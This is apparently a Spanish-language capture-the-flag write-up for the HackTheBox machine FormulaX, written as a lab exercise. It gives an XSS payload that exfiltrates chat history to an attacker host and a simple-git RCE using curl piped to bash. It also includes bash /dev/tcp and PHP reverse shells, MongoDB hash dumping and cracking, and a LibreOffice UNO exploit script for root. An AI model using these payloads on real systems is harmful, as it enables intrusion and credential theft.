FormulaX es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Difícil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina FormulaX 10.10.11.6 a /etc/hosts como formulax.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 12 |
$ nmap -sS -p- --open --min-rate 5000 -vvv -n -oA enumeration/nmap1 10.10.11.6 Nmap scan report for 10.10.11.6 Host is up, received echo-reply ttl 63 (0.12s latency). Scanned at 2024-03-14 11:05:54 GMT for 22s Not shown: 46208 closed tcp ports (reset), 19325 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 Read data files from: /usr/bin/../share/nmap # Nmap done at Thu Mar 14 11:06:16 2024 -- 1 IP address (1 host up) scanned in 23.46 seconds |
Detectados los puertos abiertos, analizamos más en detalle los mismos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
$ nmap -sCV -p 22,80 -oA enumeration/nmap2 10.10.11.6 Nmap scan report for 10.10.11.6 Host is up (0.046s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 5f:b2:cd:54:e4:47:d1:0e:9e:81:35:92:3c:d6:a3:cb (ECDSA) |_ 256 b9:f0:0d:dc:05:7b:fa:fb:91:e6:d0:b4:59:e6:db:88 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) | http-title: Site doesn't have a title (text/html; charset=UTF-8). |_Requested resource was /static/index.html |_http-cors: GET POST |_http-server-header: nginx/1.18.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Thu Mar 14 11:06:44 2024 -- 1 IP address (1 host up) scanned in 11.80 seconds |
Enumeración
Accedemos al portal web en el puerto 80 y vemos el siguiente formulario de login

Nos creamos una cuenta en la plataforma y accedemos, viendo la siguiente página

Revisamos el portal y vemos también un formulario de contacto

Y encontramos dos ficheros js que analizaremos más detenidamente.
Un fichero de la página de chat llamado chat.js
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 |
let value; const res = axios.get(`/user/api/chat`); const socket = io('/',{withCredentials: true}); //listening for the messages socket.on('message', (my_message) => { //console.log("Received From Server: " + my_message) Show_messages_on_screen_of_Server(my_message) }) const typing_chat = () => { value = document.getElementById('user_message').value if (value) { // sending the messages to the server socket.emit('client_message', value) Show_messages_on_screen_of_Client(value); // here we will do out socket things.. document.getElementById('user_message').value = "" } else { alert("Cannot send Empty Messages"); } } function htmlEncode(str) { return String(str).replace(/[^\w. ]/gi, function (c) { return '&#' + c.charCodeAt(0) + ';'; }); } const Show_messages_on_screen_of_Server = (value) => { const div = document.createElement('div'); div.classList.add('container') div.innerHTML = ` <h2>🤖 </h2> <p>${value}</p> ` document.getElementById('big_container').appendChild(div) } // send the input to the chat forum const Show_messages_on_screen_of_Client = (value) => { value = htmlEncode(value) const div = document.createElement('div'); div.classList.add('container') div.classList.add('darker') div.innerHTML = ` <h2>🤖 </h2> <p>${value}</p> ` document.getElementById('big_container').appendChild(div) } |
Y el fichero contact_us.js de la página de contacto
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
// A function that handles the submit request of the user const handleRequest = async () => { try { const first_name = await document.getElementById('first_name').value const last_name = await document.getElementById('last_name').value const message = await document.getElementById('message').value axios.post(`/user/api/contact_us`, { "first_name": first_name, "last_name": last_name, "message": message }).then((response) => { try { document.getElementById('first_name').value = "" document.getElementById('last_name').value = "" document.getElementById('message').value = "" // here we are gonna show the error document.getElementById('error').innerHTML = response.data.Message } catch (err) { alert("Something went Wrong") } }) } catch { document.getElementById('error').innerHTML = "Something went Wrong" } } |
En el formulario de contacto, a simple vista, vemos que no realiza una validación de los campos introducidos, así que hacemos alguna que otra prueba y detectamos que es vulnerable a XSS a través de una imagen.
Observamos también, gracias a los scripts observados anteriormente, que se comunica con la api del chat a través de la uri /user/api/chat y con un socket a través de /socket.io/socket.io.js, por lo tanto nos generamos un fichero js con el siguiente contenido que serviremos a través del XSS detectado
|
1 2 3 4 5 6 |
const script = document.createElement('script'); script.src = '/socket.io/socket.io.js'; document.head.appendChild(script); script.addEventListener('load', function() { const res = axios.get(`/user/api/chat`); const socket = io('/',{withCredentials: true}); socket.on('message', (my_message) => {fetch("http://10.10.14.3/?d=" + btoa(my_message))}) ; socket.emit('client_message', 'history'); }); |
Levantamos dos escuchas con python, una en el puerto 80 y otra en el puerto 8000
|
1 2 |
$ python3 -m http.server 80 $ python3 -m http.server 8000 |
Y enviaremos el siguiente payload a través del formulario de contacto
|
1 |
<img src=x onerror="var s1=document.createElement('script');s1.src='http://10.10.14.3:8000/payload.js';document.head.appendChild(s1);"/> |
Con la anterior petición obtenemos varios b64 que decodificamos, obteniendo el siguiente mensaje
|
1 2 3 4 5 |
$ echo -e 'R3JlZXRpbmdzIS4gSG93IGNhbiBpIGhlbHAgeW91IHRvZGF5ID8uIFlvdSBjYW4gdHlwZSBoZWxwIHRvIHNlZSBzb21lIGJ1aWxkaW4gY29tbWFuZHM= SGVsbG8sIEkgYW0gQWRtaW4uVGVzdGluZyB0aGUgQ2hhdCBBcHBsaWNhdGlvbg== V3JpdGUgYSBzY3JpcHQgZm9yICBkZXYtZ2l0LWF1dG8tdXBkYXRlLmNoYXRib3QuaHRiIHRvIHdvcmsgcHJvcGVybHk= V3JpdGUgYSBzY3JpcHQgdG8gYXV0b21hdGUgdGhlIGF1dG8tdXBkYXRl'|base64 -d Greetings!. How can i help you today ?. You can type help to see some buildin commandsHello, I am Admin.Testing the Chat ApplicationWrite a script for dev-git-auto-update.chatbot.htb to work properlyWrite a script to automate the auto-update |
En el anterior mensaje descubrimos el subdominio dev-git-auto-update.chatbot.htb, así que lo añadimos al fichero hosts y accedemos

Si nos fijamos en el footer de la página vemos el software y la versión instalada
|
1 |
simple-git v3.14 |
Así que nos vamos a google y encontramos un RCE
Viendo la anterior poc, generamos un script con una revshell
|
1 |
/bin/sh -i >& /dev/tcp/10.10.14.3/4444 0>&1 |
Levantamos nuestras escuchas y lanzaremos el siguiente comando a través del formulario existente
|
1 |
ext::sh -c curl% http://10.10.14.3:8000/rce|bash |
Y obtendremos una revshell con el usuario www-data
|
1 2 3 4 5 6 7 |
$ nc -nlvp 4444 Listening on 0.0.0.0 4444 Connection received on 10.10.11.6 33476 /bin/sh: 0: can't access tty; job control turned off $ whoami www-data $ |
Escalado al usuario frank_dorky
Una vez dentro, mejoramos nuestra shell
|
1 2 3 |
$ script /dev/null -c bash Script started, output log file is '/dev/null'. www-data@formulax:~/git-auto-update$ |
Y después de un rato enumerando la máquina encontramos un fichero de conexión con la base de datos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
www-data@formulax:~/app/configuration$ ls -l ls -l total 4 -r-xr-xr-x 1 root root 388 Jun 4 2023 connect_db.js www-data@formulax:~/app/configuration$ cat connect_db.js cat connect_db.js import mongoose from "mongoose"; const connectDB= async(URL_DATABASE)=>{ try{ const DB_OPTIONS={ dbName : "testing" } mongoose.connect(URL_DATABASE,DB_OPTIONS) console.log("Connected Successfully TO Database") }catch(error){ console.log(`Error Connecting to the ERROR ${error}`); } } |
Revisamos los puertos abiertos y vemos abierto el puerto 27017, el cual pertenece al servicio de MongoDB
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 |
www-data@formulax:~/app/configuration$ netstat -ant netstat -ant Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 127.0.0.1:27017 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:39937 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:8081 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:8082 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:50824 127.0.0.1:27017 ESTABLISHED tcp 0 1 10.10.11.6:33012 8.8.8.8:53 SYN_SENT tcp 0 0 127.0.0.1:33288 127.0.0.1:3000 TIME_WAIT tcp 0 23 10.10.11.6:33476 10.10.14.3:4444 ESTABLISHED tcp 0 0 127.0.0.1:27017 127.0.0.1:52276 ESTABLISHED tcp 0 0 127.0.0.1:35360 127.0.0.1:39937 ESTABLISHED tcp 0 0 127.0.0.1:33282 127.0.0.1:3000 TIME_WAIT tcp 0 0 127.0.0.1:45274 127.0.0.1:27017 TIME_WAIT tcp 0 0 127.0.0.1:27017 127.0.0.1:52290 ESTABLISHED tcp 0 0 127.0.0.1:38495 127.0.0.1:37176 TIME_WAIT tcp 0 0 127.0.0.1:27017 127.0.0.1:52298 ESTABLISHED tcp 0 0 127.0.0.1:27017 127.0.0.1:50824 ESTABLISHED tcp 0 0 127.0.0.1:33272 127.0.0.1:3000 TIME_WAIT tcp 0 0 127.0.0.1:52276 127.0.0.1:27017 ESTABLISHED tcp 0 0 127.0.0.1:39937 127.0.0.1:35360 ESTABLISHED tcp 0 0 127.0.0.1:33274 127.0.0.1:3000 TIME_WAIT tcp 0 0 127.0.0.1:33314 127.0.0.1:3000 TIME_WAIT tcp 0 0 127.0.0.1:52298 127.0.0.1:27017 ESTABLISHED tcp 0 0 127.0.0.1:54054 127.0.0.1:27017 TIME_WAIT tcp 0 0 127.0.0.1:33300 127.0.0.1:3000 TIME_WAIT tcp 0 0 127.0.0.1:52290 127.0.0.1:27017 ESTABLISHED tcp 0 0 10.10.11.6:80 10.10.14.3:53254 TIME_WAIT tcp6 0 0 :::22 :::* LISTEN |
Así que vamos a google a ver como atajar esto y encontramos un post en hacktricks que habla del tema
Por lo que siguiendo los ejemplos y explicaciones conseguimos sacar varios hashes de la ddbb
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
www-data@formulax:~/app/configuration$ mongo localhost mongo localhost MongoDB shell version v4.4.29 connecting to: mongodb://127.0.0.1:27017/localhost?compressors=disabled&gssapiServiceName=mongodb Implicit session: session { "id" : UUID("ad575abf-ec1c-45ca-8c78-31102a4e754e") } MongoDB server version: 4.4.8 Welcome to the MongoDB shell. For interactive help, type "help". For more comprehensive documentation, see https://docs.mongodb.com/ Questions? Try the MongoDB Developer Community Forums https://community.mongodb.com --- The server generated these startup warnings when booting: 2024-03-13T14:46:40.307+00:00: Using the XFS filesystem is strongly recommended with the WiredTiger storage engine. See http://dochub.mongodb.org/core/prodnotes-filesystem 2024-03-13T14:46:41.225+00:00: Access control is not enabled for the database. Read and write access to data and configuration is unrestricted --- > show dbs shshow dbs admin 0.000GB config 0.000GB local 0.000GB testing 0.000GB > use testing ususe testing switched to db testing > show collections shshow collections messages users > db.users.find() dbdb.users.find() { "_id" : ObjectId("648874de313b8717284f457c"), "name" : "admin", "email" : "admin@chatbot.htb", "password" : "$2b$10$VSrvhM/5YGM0uyCeEYf/TuvJzzTz.jDLVJ2QqtumdDoKGSa.6aIC.", "terms" : true, "value" : true, "authorization_token" : "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySUQiOiI2NDg4NzRkZTMxM2I4NzE3Mjg0ZjQ1N2MiLCJpYXQiOjE3MTAzNDUxNTF9.f4jWO9CbYZri3omQh5KR934lS-DRIKuJLEWi3CJIuXY", "__v" : 0 } { "_id" : ObjectId("648874de313b8717284f457d"), "name" : "frank_dorky", "email" : "frank_dorky@chatbot.htb", "password" : "$2b$10$hrB/by.tb/4ABJbbt1l4/ep/L4CTY6391eSETamjLp7s.elpsB4J6", "terms" : true, "value" : true, "authorization_token" : " ", "__v" : 0 } { "_id" : ObjectId("65f2e7ec084237fbdd401d42"), "name" : "bytemind", "email" : "bytemind@formulax.htb", "password" : "$2b$10$ekucYIdb9FemOUjhlx87aOt1QKrcle662n6Xfx/uxK6h5EfDydJ6G", "terms" : true, "value" : false, "authorization_token" : "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySUQiOiI2NWYyZTdlYzA4NDIzN2ZiZGQ0MDFkNDIiLCJpYXQiOjE3MTA0MTg0NzN9.Z_o_djvjXmHzH8yozYh_qslejoe3Anm7VooKOtmkZeE", "__v" : 0 } > |
Que trataremos de romper con hashcat
|
1 2 3 4 |
$ hashcat -a 0 -m 3200 mongo.hashes /usr/share/wordlists/rockyou.txt ... $2b$10$hrB/by.tb/4ABJbbt1l4/ep/L4CTY6391eSETamjLp7s.elpsB4J6:manchesterunited |
Con las credenciales descubiertas, accedemos por ssh con el usuario fran_dorky
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
$ ssh frank_dorky@formulax.htb frank_dorky@formulax.htb's password: Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-97-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro This system has been minimized by removing packages and content that are not required on a system that users do not log into. To restore this content, you can run the 'unminimize' command. Last login: Tue Mar 5 10:19:47 2024 from 10.10.14.23 frank_dorky@formulax:~$ id uid=1002(frank_dorky) gid=1002(frank_dorky) groups=1002(frank_dorky) |
Obteniendo la flag de user
Y cogeremos la primera flag de su home
|
1 2 3 4 5 6 |
frank_dorky@formulax:~$ ls -l total 4 -rw-r--r-- 1 root frank_dorky 33 Mar 13 14:46 user.txt frank_dorky@formulax:~$ cat user.txt fbc8f65683fada357da825dbb744d25c frank_dorky@formulax:~$ |
Escalado al usuario librenms
Enumeramos de nuevo la máquina, y si nos fijamos en los puertos vistos anteriormente, está abierto el puerto 3000, en el cual está el software de LibreNMS, un sistema de monitorización open source para el descubrimiento automático de dispositivos de red, monitorización del estado de la red y su rendimiento y generación de informes y alertas.
|
1 2 3 |
frank_dorky@formulax:~$ curl -s localhost:3000/login |grep -i title <title>LibreNMS</title> <h3 class="panel-title"><img class="logon-logo img-responsive" src="http://localhost:3000/images/librenms_logo_light.svg"></h3> |
Por lo que nos mandamos el puerto con chisel y accedemos a la web

Volvemos a quedarnos atascados ya que no encontramos unas credenciales válidas para dicho servicio, así que volvemos a nuestro buscador y encontramos un post donde explica como añadir un usuario administrador
Así que siguiendo la poc, revisamos que el fichero existe y podemos acceder al mismo
|
1 2 |
frank_dorky@formulax:/opt/librenms$ ls -l adduser.php -rwxr-xr-x 1 librenms librenms 956 Oct 18 2022 adduser.php |
Y crearemos nuestro usuario admin
|
1 2 |
frank_dorky@formulax:/opt/librenms$ ./adduser.php test test 10 User test added successfully |
Con el cual accederemos al portal

Al acceder vemos que hay una alerta en el servidor, debida a que hemos accedido con localhost, el cual no es correcto

Así que añadimos el dominio librenms.com a nuestro fichero hosts y continuamos.
El siguiente paso será editar las alertas existentes y meteremos la siguiente revshell en una de ellas con el fin de conseguir acceso
|
1 2 3 |
@php system("bash -c '/bin/bash -i >& /dev/tcp/10.10.14.3/4444 0>&1'"); @endphp |

Al momento de crear la plantilla de la alerta, obtendremos una revshell en nuestra escucha
|
1 2 3 4 5 6 7 8 9 |
$ nc -nlvp 4444 Listening on 0.0.0.0 4444 Connection received on 10.10.11.6 46254 bash: cannot set terminal process group (938): Inappropriate ioctl for device bash: no job control in this shell librenms@formulax:~$ whoami whoami librenms librenms@formulax:~$ |
Escalado al usuario kai_relay
Ya estamos dentro con el usuario librenms así que vamos a ver que podemos hacer a continuación.
Empezaremos mejorando nuestra shell con python
|
1 2 |
librenms@formulax:~$ python3 -c 'import pty;pty.spawn("/bin/bash");' python3 -c 'import pty;pty.spawn("/bin/bash");' |
Y después de un rato revisando la máquina encontramos un fichero .env con más credenciales
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
librenms@formulax:~$ cat .custom.env cat .custom.env APP_KEY=base64:jRoDTOFGZEO08+68w7EzYPp8a7KZCNk+4Fhh97lnCEk= DB_HOST=localhost DB_DATABASE=librenms DB_USERNAME=kai_relay DB_PASSWORD=mychemicalformulaX #APP_URL= NODE_ID=648b260eb18d2 VAPID_PUBLIC_KEY=BDhe6thQfwA7elEUvyMPh9CEtrWZM1ySaMMIaB10DsIhGeQ8Iks8kL6uLtjMsHe61-ZCC6f6XgPVt7O6liSqpvg VAPID_PRIVATE_KEY=chr9zlPVQT8NsYgDGeVFda-AiD0UWIY6OW-jStiwmTQ |
Con las cuales entraremos con el usuario kai_relay a través de ssh
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
$ ssh kai_relay@formulax.htb kai_relay@formulax.htb's password: Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-97-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro This system has been minimized by removing packages and content that are not required on a system that users do not log into. To restore this content, you can run the 'unminimize' command. Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. To run a command as administrator (user "root"), use "sudo <command>". See "man sudo_root" for details. kai_relay@formulax:~$ id uid=1001(kai_relay) gid=1001(kai_relay) groups=1001(kai_relay),27(sudo),999(librenms) kai_relay@formulax:~$ |
Escalado de privilegios
Llegando al final de la máquina por fin, revisamos los permisos del usuario
|
1 2 3 4 5 6 |
kai_relay@formulax:~$ sudo -l Matching Defaults entries for kai_relay on forumlax: env_reset, timestamp_timeout=0, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, env_reset, timestamp_timeout=0 User kai_relay may run the following commands on forumlax: (ALL) NOPASSWD: /usr/bin/office.sh |
Y vemos que puede ejecutar como root el siguiente script
|
1 2 3 |
kai_relay@formulax:~$ cat /usr/bin/office.sh #!/bin/bash /usr/bin/soffice --calc --accept="socket,host=localhost,port=2002;urp;" --norestore --nologo --nodefault --headless |
Ejecutamos el mismo con una escucha en otra terminal y obtenemos el nombre de una librería
|
1 2 |
frank_dorky@formulax:/opt/librenms$ nc 127.0.0.1 2002 e��'com.sun.star.bridge.XProtocolPropertiesUrpProtocolProperties.UrpProtocolPropertiesTid'�� |
La cual tiene una vulnerabilidad de RCE y un exploit público para tal fin en exploit-db
Así que cogemos el código y lo modificamos a nuestro antojo quedando tal que así
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
import uno from com.sun.star.system import XSystemShellExecute import argparse parser = argparse.ArgumentParser() parser.add_argument('--host', help='host to connect to', dest='host', required=True) parser.add_argument('--port', help='port to connect to', dest='port', required=True) args = parser.parse_args() # Define the UNO component localContext = uno.getComponentContext() # Define the resolver to use, this is used to connect with the API resolver = localContext.ServiceManager.createInstanceWithContext( "com.sun.star.bridge.UnoUrlResolver", localContext ) # Connect with the provided host on the provided target port print("[+] Connecting to target...") context = resolver.resolve( "uno:socket,host={0},port={1};urp;StarOffice.ComponentContext".format(args.host,args.port)) # Issue the service manager to spawn the SystemShellExecute module and execute calc.exe service_manager = context.ServiceManager print("[+] Connected to {0}".format(args.host)) shell_execute = service_manager.createInstance("com.sun.star.system.SystemShellExecute") shell_execute.execute("/tmp/shell.sh", '',1) |
Generamos un script con una revshell
|
1 2 |
frank_dorky@formulax:/tmp$ cat shell.sh curl http://10.10.14.3:8000/rce|bash |
Ejecutamos el script
|
1 |
kai_relay@formulax:~$ sudo /usr/bin/office.sh |
Y el exploit
|
1 2 3 |
frank_dorky@formulax:/tmp$ python3 exploit.py --host 127.0.0.1 --port 2002 [+] Connecting to target... [+] Connected to 127.0.0.1 |
Y conseguimos acceso como root.
Obteniendo la flag de root
Así que verificamos que realmente somos root y cogemos nuestra querida flag
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
$ nc -nlvp 4444 Listening on 0.0.0.0 4444 Connection received on 10.10.11.6 51022 # whoami root # ls -l /root total 12 -rw-r----- 1 root root 33 Mar 13 14:46 root.txt drwxr-xr-x 2 root root 4096 Sep 7 2023 scripts drwx------ 4 root root 4096 Jun 8 2023 snap # cat /root/root.txt ff3bf35340c86d001a0048f274d521f6 # |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace










